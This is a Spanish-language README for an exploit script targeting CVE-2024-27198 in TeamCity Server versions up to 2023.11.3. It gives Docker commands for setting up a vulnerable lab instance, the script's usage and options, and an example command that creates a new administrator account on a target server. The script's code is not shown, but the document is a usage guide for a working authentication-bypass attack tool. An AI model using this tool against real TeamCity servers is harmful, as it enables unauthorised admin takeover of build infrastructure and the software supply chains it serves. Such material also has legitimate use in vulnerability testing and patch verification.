
Exploit para CVE-2024-27198 - TeamCity Server

Productos y versiones afectados:
| Producto | Versiones afectadas |
|---|---|
| TeamCity Server | <= 2023.11.3 |
Puedes desplegar un servidor TeamCity con Docker para probar este exploit
docker pull jetbrains/teamcity-server:2023.11.3
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
http://localhost:8111 y sigue las instrucciones de configuración para tu nuevo servidor (solo haz clic en Proceed y crea una nueva cuenta de administrador).usage: CVE-2024-27198.py [-h] -t TARGET -u USERNAME -p PASSWORD
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target TeamCity Server URL
-u USERNAME, --username USERNAME
Insert username for the new user
-p PASSWORD, --password PASSWORD
Insert password for the new user
Ejemplo:
python CVE-2024-27198.py -t http://localhost:8111 -u mynewadminuser -p mypassword